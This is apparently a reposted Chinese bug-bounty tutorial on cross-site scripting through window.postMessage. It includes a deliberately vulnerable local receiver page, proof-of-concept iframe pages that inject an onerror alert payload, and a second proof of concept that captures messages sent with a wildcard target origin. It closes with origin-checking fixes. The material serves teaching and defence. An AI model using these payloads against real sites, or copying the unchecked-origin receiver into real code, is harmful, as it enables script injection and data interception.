IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 移动开发 -> 渗透测试-postmessage xss -> 正文阅读

[移动开发]渗透测试-postmessage xss

介绍

看国外好多这种漏洞,刚好挖掘某 SRC 的时候也发现了类似的点,所以觉得还是有必要记录一下

介绍

postMessage()?方法用于安全地实现跨源通信。

参考 1:https://www.runoob.com/js/met-win-postmessage.html

参考 2:https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

语法

我感觉就是给数据发送到 window 中,就这么简单。

至于出现 XSS,就是因为 window 对发送的数据处理不当造成的

看理论可能比较抽象,建议直接看例子

环境搭建

接收数据页面

挖 SRC 时,目标页面有类似的写法,主要是定位到EventListener

<!--?rec.html?-->
<head><meta?charset="UTF-8"></head>

<div?id="receiveMessage">
Hello?World!
</div>

<script>
window.onload?=?function()?{
????window.addEventListener('message',?function?(e)?{??//?监听?message?事件
????????alert(e.origin);
????????document.getElementById('receiveMessage').innerHTML?=?"从"+?e.origin?+"收到消息:?"?+?e.data;
????});
}
</script>

发送数据页面

我们构造的发送数据的 POC

<!--?poc.html?-->
<title>Postmessage?PoC</title>
<script>
??function?pocFrame(win)?{
????let?msg?=?"hello?d4m1ts";

????win.postMessage(msg,?'*');
??}
</script>
<iframe?src="http://127.0.0.1:9000/rec.html"?onload="pocFrame(this.contentWindow)"></iframe>

使用验证

先启动一个简单的 web 服务器,可以用 python

python3?-m?http.server?--bind?127.0.0.1?9000

然后访问http://127.0.0.1:9000/poc.html

poc

XSS 利用

前面说了,出现 XSS,是因为 window 对发送的数据处理不当造成的,咱们分析一下这里的接收数据页面

image-20220323092910200

所以我们只需要改一下 POC

<!--?poc.html?-->
<title>Postmessage?PoC</title>
<script>
??function?pocFrame(win)?{
????let?msg?=?"hello?d4m1ts<img?src=x?onerror=alert(1)>";

????win.postMessage(msg,?'*');
??}
</script>
<iframe?src="http://127.0.0.1:9000/rec.html"?onload="pocFrame(this.contentWindow)"></iframe>

然后访问

image-20220323093150710

也就成功造成了 XSS

修复方案

验证来源,也就是验证 origin。如下,只接受来自http://127.0.0.1:9001的 message

<!--?rec.html?-->
<head><meta?charset="UTF-8"></head>

<div?id="receiveMessage">
Hello?World!
</div>

<script>
window.onload?=?function()?{
????window.addEventListener('message',?function?(e)?{??//?监听?message?事件
????????alert(e.origin);
????????if?(e.origin?===?"http://127.0.0.1:9001")?{
????????????document.getElementById('receiveMessage').innerHTML?=?"从"+?e.origin?+"收到消息:?"?+?e.data;
????????}?else?{
????????????alert("hacker");
????????}
????});
}
</script>

修复

不成功的实例

某 SRC,分析源码发现了addEventListener

某SRC

继续往下分析,验证了origin,所以除非origin中存在可控页面,如允许上传 HTML,否则利用起来很难

假如我们可控origin,后面也会调用 jquery 中对象的text()方法,这个方法是自带有实体化编码的,所以就算绕过了也利用不了。

扩展

刚才我们的举例,其实是相当于伪造了发送端,然后目标为接收端,接收端对数据没有正确处理,从而导致了 XSS 漏洞。

那我们是否可以伪造接收端,然后截取到发送的数据呢?答案也是可以的

以上面的发送端为例

<!--?poc.html?-->
<script>
??let?msg?=?"hello?d4m1ts<img?src=x?onerror=alert(1)>";
??window.parent.postMessage(msg,?'*');
</script>

因为window.parent.postMessage(msg, '*');,第二个参数没有指定origin,所以我们可以构造 POC 如下:

<!--?poc2.html?-->
<script?type="text/javascript">
??onmessage?=?function(e)?{
????alert(e.origin)
????alert(e.data)
??};
</script>
<iframe?src="http://127.0.0.1:9000/poc.html"></iframe>

数据劫持

也就成功接收到了数据

修复建议:

postMessage()指定第二个参数为指定的origin,如:

<script>
??let?msg?=?"hello?d4m1ts<img?src=x?onerror=alert(1)>";
??window.parent.postMessage(msg,?'http://127.0.0.1:9001');?//?限制只能给?http://127.0.0.1:9001?发送数据
</script>
  移动开发 最新文章
Vue3装载axios和element-ui
android adb cmd
【xcode】Xcode常用快捷键与技巧
Android开发中的线程池使用
Java 和 Android 的 Base64
Android 测试文字编码格式
微信小程序支付
安卓权限记录
知乎之自动养号
【Android Jetpack】DataStore
上一篇文章      下一篇文章      查看所有文章
加:2022-04-04 12:22:54  更:2022-04-04 12:24:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 20:56:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码